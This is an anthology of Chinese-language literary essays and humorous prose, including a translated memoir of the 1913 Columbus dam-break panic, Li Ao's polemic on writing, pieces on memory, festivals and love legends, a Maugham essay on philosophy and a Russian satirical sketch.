　　我很乐意忘掉我和家人在一九一三年俄亥俄水灾中的经历，然而无论是我们所度过的艰难时候，或是体验过的动荡以及困惑，都改变不了我对自己老家所在那个州、那个城市的感情。我现在过得不错，真希望哥伦布市能看到。可是如果有人希望让某个城市去见鬼吧，那就数一九一三年的那个可怕而危险的下午，当时坝垮了，要么准确点说，是城里的每个人都以为坝垮了。那次经历既让我们更显高尚，又让我们道德有损。我爷爷尤其上升到了一个伟岸的高度，我总是忘不了他的形象多么高大，即便他对洪水的反应是建立在一个大错特错的概念上，即我们所要面对的危险，是内森 · 贝德福德 · 福雷斯特的骑兵军。我们要想躲过，只有从家里逃跑，爷爷坚决禁止这样做，手里还挥舞着他的旧军刀。“让那些杂种来吧！”他吼道。那段时间，几百个惊慌失措的人尖叫着“往东跑！往东跑！”涌过我们家门口。我们不得不用一块熨衣板打晕了爷爷。老人家不会动的身体妨碍了我们——他身高超过六英尺，体重几乎达一百七十磅——在开始的半英里中，几乎市里的每个人都超过了我们。要不是到帕森斯大道和市府路的路口那里爷爷苏醒了，我们无疑会被咆哮的洪水追上并淹没——也就是说，如果有咆哮的洪水冲来的话。后来，等到恐慌平息，人们很是灰溜溜地回到家和办公室——把自己所跑的距离说到最小，并给出之所以要跑的各种理由——市里的工程师指出即使坝垮了，西区的水位只会再升高两英尺而已。在大坝引起恐慌之际，西区已在三十英尺之下——事实上，跟二十年前那次春天大洪水时俄亥俄州所有滨河城市一样。东区（我们住在那里，都是那边的人们跑）从来没有面临真正的危险。只有洪水再涨九十五英尺左右，才能漫过贯穿城市、分开东西两区的主街，把东区淹掉。

　　然而，我们都像炉灶下方的一群小猫那样安全这一事实，一点都没能消除那种无比绝望和惊恐万状的感觉，关于大坝垮掉的那声喊叫，像草地上的火一样传开来。市里有一些最庄重、沉着、愤世嫉俗和思路最清晰的人抛弃了自己的妻子、速记员、家还有办公室，往东边跑了。世界很少有什么警告比“大坝垮了！”还要可怕，当那声响亮的喊叫冲击耳膜时，很少有人能停下来推断一下，就连住在离大坝五百英里以外的城镇的那些人们也是这样。

　　就我所记得的，俄亥俄州哥伦布市关于坝垮的谣言始于一九一三年三月十二日中午左右。在作为主要商业峡谷的主街上，突出的是平和的各种市声以及生意人争论、计算、哄弄、出价、拒绝和妥协时的低语。中西部最好的公司法律师之一达里厄斯 · 康宁威正在以凯撒式语言跟公用事业委员会说，他们还不如去试试感动北极星而不是他。还有别的男的正在吹吹牛，做点姿态。突然，有人开始跑起来，也许是突然想起说好要跟他老婆在哪儿见面，当时已经晚得要命。不管怎么样，他在布洛德街上往东跑（很可能是往马拉摩尔餐馆跑，人们喜欢跟老婆在那里碰头。）另外有个人也跑了起来，也许是个兴致高的报童。另外一个男的，是位从事实务的肥胖先生，突然小跑起来。不到十分钟，从联合车站到法院，街上每个人都在跑。大声的咕哝逐渐明确为一个可怕的词：“大坝”。“大坝垮了！”这种恐惧由电车上的一位小个子老太太或者一位交通警或者一个小男孩说出来，两千个人突然撒腿跑了起来，响起来的是“往东跑！”这样的喊叫——往东远离那条河，往东跑向安全。“往东跑！往东跑！往东跑！”

　　在所有往东的街道上，乌压压的人群一路流去，源头出自干货店、办公楼、玩具店、电影院，又接纳了由主妇、孩子、残疾人、用人、狗、猫组成的涓涓细流，他们从主要人流经过的房子里溜出来，喊着，叫着。人们炉火没灭、煮着东西、大开房门就跑了出来。但是我记得我妈妈把做饭时开的火全灭了，还带了一打鸡蛋和两块面包。她打算去只隔两个街区的纪念堂，在顶楼某个灰扑扑的房间里躲一下，那里平时是退伍军人碰头和存放旧军旗、舞台布景的地方。但是喊着“往东跑”的沸腾人群还是把她和我们其余的人裹挟而去。爷爷在帕森斯大街上完全苏醒过来后，就像一位渴望复仇的先知，面对退却的乌合之众，言辞激烈地要他们列好阵形，阻击叛狗。但是到最后，他也明白大坝垮了，他用洪亮的嗓子喊着“往东跑！”，一只胳膊夹起一个小孩子，另一只胳膊夹起一个也许有四十二岁的个头很小、店员模样的男人，我们就开始慢慢追上前面的人。

　　零星有一些消防员、警察和身穿军礼服的军官——他们之前在城北的海耶斯堡那边举行检阅——给汹涌的人浪增添了色彩。有位陆军中校坐在门廊上，一个尖嗓门的小孩跑着经过时喊了一嗓子：“往东跑！”那位军官习惯于迅速决断，而且被训练得立刻服从，他冲下门廊，全速跑了起来，很快就超过那个小孩，嘴里还在吼着：“往东跑！”他们两个人很快让他们跑过的那条小街上的每个人都从家里出来。“怎么了？怎么了？”一个脚步蹒跚的胖男人拦住中校问。中校慢了下来，问那个小孩是怎么回事。“大坝垮了！”那个女孩喘着气说。“大坝垮了！”中校大喊道，“往东跑！往东跑！往东跑！”他很快就抱着那个精疲力竭的孩子领着三百个人逃跑，人们从客厅、商铺、修车厂、后院和地下室出来，聚集在中校身边。

　　从来没人能够精确地计算出有多少人参加了一九一三年的那场大逃亡，因为从南城沿的温斯洛装瓶厂蔓延到城北六英里的克灵顿维尔的恐慌就像开始时一样，突然停止了，那些衣冠不整以及身穿天鹅绒睡衣的一群群流民散去了，溜回家里，让大街上变得安静，鲜有人迹。喊叫、哭泣以及撤离城市，总共持续不到两个钟头。有少数几个人到了十二英里之外的里诺兹堡，五十个或者更多的人到了八英里外的乡间俱乐部，别的多数人都放弃了，筋疲力尽，要么爬到了四英里外富兰克林公园的树上。到最后，秩序终于得以恢复，恐惧得以消除，办法是让民兵坐着卡车，到处去用扩音器大声通告：“大坝没垮掉！”一开始，这样做只是添乱，让人们更加恐慌，因为有很多奔逃的人以为那些民兵大声说的是“大坝已垮掉！”，这就正式肯定了灾难确有其事。

　　自始至终，太阳安安静静地照着，哪儿都看不出有什么迹象表明洪水正在冲过来。如果有人乘飞机，他俯视下面那么多情绪激动的人在散乱地行进，会难以猜到这种现象原因何在。在这样一个旁观者心里，肯定会唤起一种独特的恐惧，就像在大海上看到一艘为人所弃的幽灵船，船上厨房里的炉火在静静地烧着，阳光把宁静的甲板照得发亮。

　　我的一位姑妈伊迪丝 · 泰勒当时在主街的一家电影院里，比乐池里的钢琴声（当时正在放映W · S · 哈特主演的一部默片）声音还大的，是越来越响的噔噔跑步声，比噔噔跑步声更大的，是持久不息的喊声。坐在我姑妈旁边的一个老头嘟嘟囔囔地离开座位，到过道上就小跑起来，这让每个人都行动起来。不一会儿，观众都挤在过道上。“着火了！”有个女人喊道，她总是觉得自己会被烧死在电影院。但是这时，外面的喊叫声更大也更连贯了：“大坝垮了！”有人喊道。“往东跑！”我姑妈前面的一个小个子女人尖叫道。他们就往东边去了，推推搡搡，用手拉扯着，把女人和小孩撞倒，最后到了街上，四散开来。电影院里，比尔 · 哈特在镇静地让某个亡命之徒拿出点本事，而那个弹钢琴的勇敢的女孩大声地弹着《划！划！划！》，然后是《在我的后宫里》。在外面，人们拥过州府广场，其他人在爬树，有个女人爬上了名为“这些是我的珍宝”的雕塑上，那些铜塑的谢尔曼、斯坦顿、格兰特和谢里顿无动于衷地看着这座州府城市陷于溃乱。

　　“我往南跑到了州府大街，又往东拐到了第三大街，又往南拐到了汤恩街，然后又往东拐。”伊迪斯姑妈给我的信上写道，“在那条街上跑到一半时，有个又高又瘦、眼神严厉、下巴带着坚毅样子的女人跑着超过了我。尽管人们都是又喊又叫，我还是弄不准是怎么回事。我用了点力气追上那个女人，因为尽管她五十多岁了，跑起来却姿势优美而轻松。‘怎么回事？’我呼哧着问。她很快地扫了我一眼又往前看，稍微加快了脚步。‘别问我，问上帝！’她说。

　　“我到了格兰特大道时，累得连 H · E · 马洛里医生——你记得马洛里医生，那个长着白胡子，样子像罗伯特 · 勃朗宁 的？嗯，我在第五大街和汤恩街的街口超过了他，他这时超过了我。‘它追上我们了！’他喊道，我感觉不管是什么，的确是追上我们，因为你也知道马洛里医生说话有多么令人信服。当时我不明白他指的是什么，不过后来发现了。他后面有个男孩蹬着溜冰鞋，马洛里医生听到溜冰鞋刷刷响，误以为是奔腾的水声。他最后跑到帕森斯大道和汤恩街路口的哥伦布市女子学校时累趴下了，想着塞欧托河卷着泡沫的河水不知道要把他冲到哪里。那个脚蹬溜冰鞋的男孩绕过马洛里医生往前去了，医生这才第一次意识到他原先跑着躲开的是什么。他在街上扭头看，一点也看不到有水冲来的样子，可是不管怎样，休息几分钟后，他在俄亥俄大道上追上了我，到那里我们一起歇了一会儿。有件事说来滑稽，我们全都是用脚跑，好像没人有勇气去发动自己的汽车，可是如我所记得的，当时的汽车都得用曲柄发动，很可能原因就在这里。”

　　第二天，这个城市里的生活照常进行，似乎什么都没有发生过，但是没人开玩笑。过了两年乃至更久以后，你才敢轻松地说起大坝垮掉的事。甚至到现在，过了二十年，还有少数人——如马洛里医生——如果你跟他们提到大逃亡的那天下午，他们会闭口不言。

看谁的文章写得好

李敖

　　十八年前我独居新店山脚，常在阴霾漫天的夜里，泛舟碧潭。那时候，整个碧潭是我的，碧潭的山水，一人夜游才勉强可看。一到白天晴天，人山人海一来，自然的风景，就一一都给杀掉，我就躲在每月租金二百元的小房里，改作文维生。

　　作文是成功中学小毛头写的，施珂大哥在那里教国文，看到许多国文老师懒得改作文，就代我承包过来，每本一元，多多益善。居然有好几班的作文，由我标到。做地下国文老师，收入不恶，精神却痛苦，因为每赚一元，就得跟狗屁文章纠缠至少三分钟。我是乐观的人，可是连改二十本下来，就人生乏味，并且连自己的文章也被熏得退步了，也被洗脑得做不好了！

　　我常常一边改一边想：什么原因使小毛头的文章写得这么要命？为什么文章竟写到千篇一律的滥套，写得甲跟乙没有什么不同，丙和丁没有什么两样？为什么文章写得一点也没个性，没有特色，而全是人云亦云的狗屁？

　　照笑话说，狗屁文章有三类：第一类是“放狗屁”，程度最轻，是人放狗屁，还不失为人；第二类是“狗放屁”，程度稍重，是狗在放屁，但并不整天放，只偶一为之；第三类是“放屁狗”，程度最重，是以放屁为常业，整天放屁，一放而不可止。由于中国人相信文章是大业，是盛事，是不朽的张本，是富贵的敲门砖，是“天地之精英，阴阳刚柔之发”，所以古往今来，文章特多，狗屁也就三类俱在，臭不可闻。

　　用狗屁来说明，实在不是骂人，而是一种评判标准。所谓文章，基本问题只是两个：一、你要表达什么？二、你表达的好不好？两个问题是二合一的，绝不能分开。古往今来，文章特多，可是好文章不多的原因，就是没能将这二合一的问题摆平。中国人一谈写文章排名，韩愈就是老大，他是“唐宋八大家”的头牌，又是“文起八代之衰”的大将，承前启后，代表性特强，可是你去读读他的全集看，你会发现读不下去。你用上面两个问题一套：一、他要表达什么？答案是：他思路不清，头脑很混，他主张“非圣人之志，不敢存”，但什么是圣人之志？他自己也不知道；二、他表达的好不好？答案是：他好用古文奇字，做气势奔放状，文言文在他手下，变成了抽象名词排列组合，用一大堆废话，来说三句话就可说清楚的小意思，表达得实在不好。

　　糟糕的还不在文章不好，而在不好却不知道不好，还以为那是好。这就表示了，中国人评判文章，缺乏一种像样的标准。以唐宋八大家而论，所谓行家，说韩愈文章“如崇山大海”，柳宗元文章“如幽严怪壑”，欧阳修文章“如秋山平远”，苏轼文章“如长江大河”，王安石文章“如断岸千尺”，曾巩文章“如波泽春涨”，说得玄之又玄，除了使我们知道水到处流山一大堆以外，实在摸不清文章好在那里？好的标准是什么？

　　又如林琴南说他的文章是“史（记）汉（书）之遗”；古文大师章太炎却大骂林琴南吹牛，说林琴南的文章，乃从唐人传奇剽窃衍演而来。章太炎又说：“当世之文，惟王恺（门内岂字）运为能尽雅，马通伯为能尽俗。”其实一切摊开，有何史汉传奇雅俗之分？文章只有好坏问题，并无史汉传奇雅俗的问题。文章的好坏标准，根本不在这里。

　　做为新时代的中国人，我们评判文章，实在该用一种新的标准，我们必须放弃什么山水标准，什么雅俗标准，什么气骨标准，什么文白标准。我们看文章，要问的只是：一、要表达什么？二、表达的好不好？有了这种新的标准，一切错打的笔墨官司，都可以去他的蛋；一切不敢说它不好的所谓名家之作，都可以叫它狗屁。

　　这种新的标准，可以使我们立刻变得气象一新，开拓万古心胸，推倒千载豪杰。任何文章，如果它不能使我们读得起劲，看得痛快，就算是史汉的作者写的，又怎样呢？我们决不可以看不下去一篇文章，却人云亦云的跟著说它好，或歌颂作者是什么八大家几大家，我们该有这种气魄：好就是好，不好就是不好，不好就是狗屁！我们该敢说我们心里的话，当你被一篇滥文章烦得要死，你除了大骂狗屁，还能骂什么呢？

　　为什么中国文章中有这么多狗屁呢？这得先回顾一下中国文章史。

　　中国文章，一开始不是文章，而是“诗歌”，那是春秋以前的事。诗歌是当时白话文和文言文二合一的产物，当时的写作技巧很单调，最喜欢用单字重复来绘影绘声，描写黄莺，就来个“其鸣喈喈”；描写桃花，就来个“灼灼其华”，很少会变花样。我们读《诗经》，看到的，多是这类原始的表达法。

　　这类表达法转到战国以至汉朝，变为“辞赋”，辞赋开始变深了。那时候政府的命令是辞赋，命令下来，深得小公务员都看不懂，大家只好拖死狗。政府没办法，就奖励大家研究这些难念的古文，谁念得好，就给谁官做。这种奖励，就是科举的起源。有了科举，就可以凭写文章做大官，中国人这么喜欢写文章——写讨好政府喜欢的文章，骨子里，其实有制度的背景和遗传在。现在的高普考大专联考，不过是科举的摩登化，片言点破，一切可如是观。

　　辞赋表达法带给中国文章大分裂，就是白话和文言的大分裂。这种分裂，到魏晋南北朝转为“骈文”，骈文是纯粹的中国字一字一形一音一义的大排队，中国人这时候，一写文章就要对对子，写满篇文章就是写满篇春联，做作极了。因为太做作，从隋唐到北宋，文章转为“古文”，古文一方面说复古，一方面也创新，虽然南宋以后，有“语体”出现，开始把白话和文言合流，但以文章正宗论，还是古文的天下。于是，从韩愈到曾国藩，中国的能文之士都是古文家，古文就是我们一般指的文言文。

　　文言文的大缺点是它不能做为好的表达的工具，它跟白话分裂，写出来，是活人说死话，说得再好也是“古文辞类纂”。到了十九、二十世纪，有人开始突破，最成功的是梁启超，梁启超说他文章“解放，务为平易畅达，时杂以俚语、韵语、及外国语法；纵笔所至不检束。老辈则痛恨，诋为野狐。”

　　梁启超虽被老前辈痛恨，诋为野狐，但他在中国文章史上，和司马迁、韩愈等一样，是十足划时代的人物。梁启超风靡文坛一二十年，最后由胡适等的白话文代领风骚，中国文章，自此正宗白话化。

　　不论多少老顽固老夫子抱残守缺，文言文是完了，文言文除了寿序、贺启、祭文、致敬电一套陈腔滥调外，已经越来越木乃伊，小毛头们没人要看文言文，也没人看得懂文言文，一切都得白话语译后，才勉强看看，应付考试和老师。但当考试和老师要作文的时候，小毛头就无法不狗屁。

　　狗屁的原因是：白话文的正宗基础太薄弱，胡适等人公开表示他们老一代的白话文是放小脚式的，提倡有心，创作无力；另一方面，白话文的起步一再误入歧途，他们走上“新八股派”、“新之乎者也派”、“旧的吗了呢派”、“新鸳鸯蝴蝶派”等错路上去，乍看起来，捧来捧去，仿佛成功，实际情形却是做人成功，作文失败。小毛头们在这种文风里长大，自然种屁得屁，要他们写出不受污染的清新之作，又奇迹何来？

　　奇迹来自李敖这边。白话文在李敖手里，已经出神入化。在中国传说中，五百年必有王者兴，必有不世出的人出世，因此我说：“五十年来和五百年内，中国人写白话文的前三名是李敖、李敖、李敖。”我深信，我这一辈子，其他的功德都不算，光凭好文章，就足以使我不朽。我“纵笔所至不检束”，把白话文写得气象万千，光芒万丈，这种中国功夫，是谁也抹杀不了的。

　　为了给这种中国功夫最新举证，我特别印了两本书——《李敖文存》和《李敖文存二集》，交给“四季”出版、“忠佑”发行，我希望小毛头人手一册，大力见习。说不定有一天，突然出了怪胎变种，把我推翻，那时候，自然我要让贤，把五百年打个折扣。

老来多健忘

叶倾城

　　在我的印象中，祖父不过是一个喜欢打麻将、练太极、浇花钓鱼、爱提当年勇的普通老人。而我也没有想过，会在十八岁的一个夏夜，与祖父的少年时光劈面相遇。

　　那晚，是一位亲戚来通知，祖父的一位表妹去世了。在所有人还没有来得及反应之前，祖父已经霍然站起：“死了？怎么会？怎么会！”蓦然觉得自己的失态，旋身回房，家人尽皆偷笑。于是那夜我才知道，祖父与表妹青梅竹马的童年，情窦初开的年少，他俩私奔六个月的石破天惊。到最后，他们还是被找回来了。表妹远嫁，祖父仍然不得不接受指腹的姻缘。而这些，都已经是六十年前的事了。来人是请祖父参加葬礼的。

　　第二天早上，父亲想和祖父商量的时候，祖父却已经练太极去了。祖父的房门洞开，桌上薄薄一张纸，上面墨色淡淡的五个字：“老来多健忘”。

　　既然祖父已经健忘，那又何必帮他想起？父亲便回绝了来人，从此家中不提此事。祖父过世的时候我已上大学，主修中文，大二时在图书馆里看白居易全集正看得兴味盎然，突然，彷佛惊雷般的一瞬，我看到了祖父当年写下的那句诗，而那句诗的全貌竟是：“老来多健忘，唯不忘相思。”我僵在当场，没想到竟然会是如此。

　　原来祖父一直记得，六十岁的烟尘岁月，抵不过初恋女子的一抹笑容。而爱情究竟是什么？竟让八十岁的老人仍然在刹那间动容，忘了时光的远走，只以为是红颜弹指老！

　　当祖父写下那句诗的时候，他是多么希望他的儿孙们能够读懂。今日，我终于懂得，可是一切都已经过去了。我只能在心中一遍遍念着：“老来多健忘，唯不忘相思。”好像是念给天上的祖父听。

我们为什么要过节

冯骥才

　　个人一年一度最重要的日子是生日，大家一年一度最重要的日子是节日。节日是大家共同的日子。

　　节日是一种纪念日，内涵却多种多样。有民族的、国家的、宗教的，比如国庆节、圣诞节等等；有某一类人如妇女、儿童、劳动者的，这便是妇女节、儿童节、母亲节、劳动节等等；也有与生产生活密切相关的，这类节日都很悠久，很早就有了一整套人们喜闻乐见、代代相传的节日习俗。这是一种传统的节日。比如，春节、元宵节、清明节、端午节、中秋节、重阳节等等。传统的节日为中华民族所共用和共享。

　　传统节日是在漫长的农耕时代形成的。农耕时代生产与生活、人与自然的关系十分密切。人们或为了感恩于大自然的恩赐，或为了庆祝辛苦的劳作换来的收获，或为了激发生命的活力，或为了加强人际的亲情，经过长期相互认同，最终约定俗成，渐渐把一年中某一天确定为节日，并创造了十分完整又严格的节俗，如仪式、庆典、规制、禁忌，乃至特定的游艺、装饰与食品，来把节日这天演化成一个独具内涵与情氛的迷人的日子。更重要的是，人们在每一个传统的节日里，还把共同的生活理想、人间愿望与审美追求融入节日的内涵与种种仪式中。因此，它是中华民族世间理想与生活愿望极致的表现。可以说我们的传统——精神传统，往往就是依靠这代代相传的一年一度的节日继承下来。

　　然而，自从 20 世纪整个人类进入了由农耕文明向工业文明的过渡，农耕时代形成的文化传统开始瓦解。尤其是我国，在近百年由封闭走向开放的过程中，节日文化——特别是城市的节日文化受到现代文明与外来文化的冲击。当下人们已经鲜明地感受到传统节日渐行渐远，日趋淡薄，并为此产生忧虑。传统节日的淡化必然使其中蕴含的传统精神随之涣散。然而，人们并没有坐等传统的消失，主动和积极地与之应对。这充分显示了当代中国人在文化上的自觉。

　　近五年，随着中国民间文化遗产抢救工程的全面展开，国家非物质文化遗产名录申报工作一浪高过一浪地推行；2006 年国家将每年 6 月的第二个周六确定为“文化遗产日”；2007 年国务院又决定将春节假期前调一天，把除夕列为法定放假日，同时三个中华民族的重要节日——清明节、端午节和中秋节也法定放假。这一重大决定，表现了国家对公众的传统文化生活及其传承的重视与尊重，同时这也是保护节日文化遗产十分必要的措施。

　　节日不放假必然直接消解了节日文化，放假则是恢复节日传统的首要条件。但放假不等于远去的节日立即就会回到身边。节日与假日的不同是因为节日有特定的文化内容和文化形式。那么重温与恢复已经变得陌生的传统节日则是必不可少的了。

　　千百年来，我们的祖先从生活的愿望出发，为每一个节日都创造出许许多多美丽又动人的习俗。这种愿望是理想主义的，所以节日习俗是理想的；愿望是情感化的，所以节日习俗也是情感的；愿望是美好的，所以节日习俗是美的。人们用烟花爆竹，惊骇邪恶，迎接新年；把天上的明月化为手中甜甜的月饼，来象征人间的团圆；在严寒刚刚消退、万物复苏的早春，赶到野外去打扫墓地，告慰亡灵，表达心中的缅怀，同时戴花插柳，踏青春游，亲切地拥抱大地山川……这些诗意化的节日习俗，使我们一代代人的心灵获得了多么美好的安慰与宁静？

　　谁说传统的习俗全过时了？如果我们不曾知道这些习俗，就不妨去重温一下传统。重温不是模仿古人的形式，而是用心去体验传统的精神与情感。

　　当然，习俗是在不断变化的，但我们民族的传统精神是不变的。这传统就是对美好生活不懈的追求，对大自然的感恩与敬畏，对家庭团圆与世间和谐永恒的企望。

　　这便是我们节日的主题。我们为此而过节。

白痴的故事

倪匡

　　中国古代的爱情传说故事中，很有些匪夷所思在内，而居然能传诵久远。看来，除了说明中国人在传统生活中根本不懂得男女爱情之外，还蠢笨得可以。

　　男女同窗共室三年，只因女的扮了男装。所以不知是女子的故事大家最熟悉了。这故事并不是妙在三年之久不知同房是异性，而是妙在一知是异性，就立即对之生爱，要娶她，娶不到，就要死要活。本来是对男同学的感情，霎时之间，可以“自动转账”，那么男女之间的恋情，岂非滑稽得很？

　　而这样的一个故事，居然便是爱情故事的代表作！还有一个故事：男的约了女的在桥下见面，男的先到，等着等着，女的还没来，潮水涨了，男的由于要守信，不肯离开桥下，叫河水淹死了。

　　这种故事，听的人要是竟然没有疑问，全盘接受，那么这个民族也不会有什么希望了！守信固然重要，但离开一下桥底，到桥头上站着，又有何妨？女的来了，是看到男的站在桥头高兴，还是看到桥下一具浮尸高兴？

　　或曰，只是故事，何必认真。

　　实在非认真不可，这种白痴故事，也被当作爱情故事的典范！

没有一本一劳永逸的书

毛姆

　　当我成为一名医科大学生后，我进人一个新的世界。我读了许多医科书。它们告诉我，人是一架机器，受机械法则的控制，当机器停下来时，人的生命也就终止了。我在医院里看到人们死去，惊恐之余便相信了书本上所说的东西。我自以为是地相信，宗教和上帝的观念是人类在进化过程中为生存需要而构想出来的，它们在过去—或许现在也是—体现为某种有利于种族生存的价值观，但那只能历史地予以解释而不能视为真实的存在。我虽自称是不可知论者，但在心灵深处，却把上帝看作是有理智的人必须加以拒绝的一种假设。

　　然而，要是根本就没有那个把我投入永恒之火的上帝，也根本没有可以被投入永恒之火的灵魂的话，要是我只是机械力量的玩物，生存竞争就是它的推动力，那么我就不明白了，像人们曾经教导过我的善，到底还有没有意义。我开始读伦理学。我用心啃完一部部令人生畏的巨著。我最后得出结论：做人的目的不是别的，只是为了寻求自身的快乐，即使是舍己为人.那也是出于一种幻想，以为自己所要寻求的快乐就是慷慨大方。既然未来是不确定的，及时行乐便是理所当然的常识。我认定，是与非只是两个词，行为准则不过是人们为保护各自的利益而形成的一种习俗而已。自由的人没有理由非要遵循它们，除非他觉得它们对他并无大碍。那时流行格言，于是我也把自己的信念写成一句格言，用以自勉：“想去哪儿就去哪儿，只是别让警察盯上。”我到 24 岁时已建立起一套完整的哲学体系。它以两条原理为基础，即：物的相对性和人的圆周率。后来我才发现，那第一条原理并不是什么新发现。另一条也许很深刻，只是我现在即使绞尽脑汁，大概到死也不会再想得起来它究竞是什么意思。

　　有一次我偶然读到一个小故事，觉得非常有趣。这小故事我是在阿那托尔·法朗士的《文学生涯》的某一卷里读到的。那已经是好多年前的事了，但至今我还记得，故事大致是这样的：东方有个年轻国王，登基后一心要把他的王国治理好，就把国内的贤士都召来，命令他们去收集全世界的智识慧言，编共成册供他阅读，这样他就能成为世上最英明的君王。贤士们遵命而去。过了三十年。他们牵着一队骆驼回来了，骆驼背上载着五千册书。他们对国王说，这里收录了天下贤士所知道的全部智识慧言。但是，国王正忙于国事，没时间读那么多书，就命令贤士们回去对这些智识慧言加以精选。过了十五年，贤士们回来了，这回他们的骆驼背上只有五百册书。他们禀告国王说，从这五百册书里就可得知天下全部智慧。但是五百册还是太多，因王命令他们回去再作精选。又过了十年，贤士们又回来了。这回他们带来书不过五十册而已。然而，国王却老了，他疲惫不堪，就是读五十册书的精力也没有。于是他命令贤士们再一次精选，要在一本书里为他提供人类智慧的精华，让他最后能学到他最迫切需要的东西。贤士们奉命而去。又过了五年，他们又回来了。这回他们自己也都成了老年人。他们把那本包含着人类智慧精华的书送到国王手里。然而，这时候的国王已经奄奄一息，就连这一本书也来不及读了。

　　我想寻找的也是这么一本书一本能使我一劳水逸地解决一切疑问的书。解决了一切疑问，我就可以放手去建立自己的生活模式了。我从古典哲学家读到现代哲学家，希望在他们那里能找到我想得到的东西。我发现他们的言论很不一致。对他们著作中的批判部分，我觉得都很有道理，但读到其中的建设性部分，找虽然说不出有什么问题，却总觉得难以使我心服口服。这些哲学家给我的印象是，尽管他们学识渊博、推理严密、分类精细，但是他们各自持有这样那样的观点，却不是因为出于理性的思考，而是由于他们不同的气质所致。不然的话，我无法理解他们为什么要这么长时间地争论不休，为什么彼此所见如此不同，差异如此之大。我好像在哪里读到过，费希特曾说，一个人持怎样的哲学观点，取决于他是怎样的人。我读到这句话后，当时就想，我很可能是在寻找根本没法找到的东西。于是我就想，既然在哲学上并不存在适合于每个人的普遍真理，而只有符合个人气质的真理，那么我只好缩小探索范围，去寻找一个其哲学体系配我胃口的哲学家，一个和我是同一种人的哲学家。他对我的疑问所作的解答一定会使我满意，因为他的解答正好迎合我的气质。有一个时期，我对美国实用主义产生了深厚的兴趣。我曾读过英国名牌大学的教授们写的哲学著作，从中并没有得到什么教益。我嫌他们太绅士气，不像是很好的哲学家，甚至还有点怀疑，他们是不是因为社交的缘故，害怕伤了同事的感情而不敢大胆作出合乎逻辑的结论。实用主义哲学家却很有活力。他们生气勃勃，其中最重要的几位文笔也很好。他们写到了我一直没法想通的那些问题，而且写得深人浅出。不过，尽管我很希望相信，却还是不能像他们那样，相信真理就是我们用来达到实用目的的工具。我认为，作为一切知识基础的感性资料是客观存在的，无论对你来说是否有用，它们总是存在着。此外，他们还说，如果我因相信上帝的存在而得到了安慰，那么上帝对我来说就是存在的。对这种说法，我也觉得不舒服。最后，实用主义再也不能使我感兴趣了。我觉得读柏格森的书特别有趣，但特别难以让人信服；对本尼台托 · 克罗齐，我也觉得不合我意。而在另一方面，我却发现伯兰特 · 罗素写的东西不但清晰易懂而且语言优美，读来使人心旷神怡。我不胜钦慕地读他的书。我很愿意把他当作我所要寻找的向导。他知识广博而且通情达理。对于人的弱点，他很宽容。但我及时发现，他是一个不太明确方向的向导。他的心智游移不定。他就像一个建筑师，当你要想有一所房子住时，他先劝你用砖头来造，接着又向你提出种种理由来证明为什么应该用石头而不是用砖头来造；而当你同意应该用石头来造后，他又提出同样充足的理由向你证明，唯一可用的材料是钢筋混凝土。最后，你连头顶上的一个顶篷也没有盖起来。我要寻求的是一个首尾一致而且能自圆其说的哲学体系，就像布拉德莱的那样，里面的每一部分都不可分地连接在一起，意志与任何一个部分都不能改动，否则整个体系就会分崩离析。伯兰特 · 罗素没能给我这样的体系。

　　最后我得出结论，我永远也不可能找到这么一本完整而能使我满意的书，因为这样的书只能是我自己的一种表达。于是我大胆妄为地决定，这本书必须由我自己来写。我找来那些为研究生读哲学学位所规定的必读书，一本本地细心研读。我想这样至少可以使我自己的写作有个基础。我觉得，有了这个基础。加上我四十年来积累起来的生活知识（因为我产生这个念头的时候正好 40 岁），再加上我准备花几年时间悉心研究一番哲学名著，我将有能力实现自己的愿望，写出这样一本书来。我知道，这本书除了对我自己。不会有任何价值，至多是一个喜欢思考的人的灵魂（因为没有确切的词，姑且这么说）写照，说明这个人的生活经验要比一般职业哲学家丰富一点。我清楚地知道，我在哲学思维方面是毫无天赋可言的，所以我准备从多方面收集理论。这些理论不仅要满足我的心智，而且还要满足（应该说比我的心智更重要的）我整个的本能感情和那些根深蒂固的偏见——即作为一个人那么亲密无间的一部分的偏见，它们很难和本能区分开来。根据这些理论，我将建立一个对我有效、并且能为我指引生活之路的哲学体系。

　　但我越读越觉得这个课题之复杂，也越来越意识到自己的无知。尤其是那些哲学杂志，更加使我灰心丧气。我在那里看到有些题目显然很重要，而且有长篇论述，但我读起来却像处在一片昏暗之中，只觉得繁琐而茫然。它们那种论述方式和推理过程、对每个论点的精密论证和可能遇到的反面意见的陈述、作者对自己初次使用的术语的界定和随处可见的引经据典，全都在向我证明，哲学——至少是现代哲学——只是专家们之间的事情，门外汉简直休想了解其中的奥秘。我要写这本书，就需要用二十年时间作准备，然后才能开始写，这样等我写完之际，大概也像阿那托尔 · 法朗士故事中的国王一样，已经奄奄一息了，而我的这一番辛苦，到那时至少对我来说已不再有什么用处。

　　于是，我放弃了这个念头。

活着真好

维克多 · 科克留什金

　　我应该活下去，但怎么活下去呢？我真想不出办法来。

　　我里朝外披了一件羊皮袄在动物园里转悠了半天，以为孩子们会喂我点儿什么。可他们却把小石头扔了过来，看我能不能吞下去。我真吞了一块。这时一个小男孩儿对他妈妈说：“妈妈，咱们明天还来，看它死没死？”

　　男孩儿的妈妈回答说：“明天它肯定死了，你没看见吗？它现在走路就已经摇摇晃晃的了。”

　　我挺过来后又去了一家工厂。那儿的人告诉我说：“我们这儿工作是有，但是工资没有。你能干吗？要是愿意干的话，明天就来上班吧。但是不能迟到，迟到了，就罚款。”

　　我又去给一个商人当保安。为了显得魁梧一些，我在衬衫里面穿了一件棉坎肩。我的工作是：老板在饭店吃饭的时候，我在他身后汗流浃背地站着；他晚上去女朋友那儿的时候，我拿着一把气枪在旁边守着。那天我的老板刚要吻他的女朋友，我无意中扣动了扳机。老板一下子就晕了过去。

　　我又去当环卫工人，刚开始人家不要我，他们说：“我们这原来有一个文学专业毕业的博士，让他上楼顶除雪，结果雪没除下来，他自己倒掉下来了！”

　　我一听赶紧说：“我是艺术学副博士！”

　　他们说：“那就另当别论了，你就去倒垃圾桶吧。”

　　我清理垃圾通道时，上面扔下来一个啤酒瓶子。遗憾的是，还是个空瓶子，而且正砸在了我的脑袋上。我醒来的时候在急诊室里，但两个小时过去了，没有一个人过来看我一眼……后来终于来了一个医生，他认真地看了看我说：“借给我一千二百个卢布吧，我星期二还给你。”

　　我问：“你们星期二发工资？”

　　他说：“不是，是你活不到星期二！”

　　我说：“那你快点想个办法救救我啊！”

　　他说：“不行！根据统计，我们这儿每四个病人就死一个，按顺序您正好是第四个！”

　　我起来就跑！

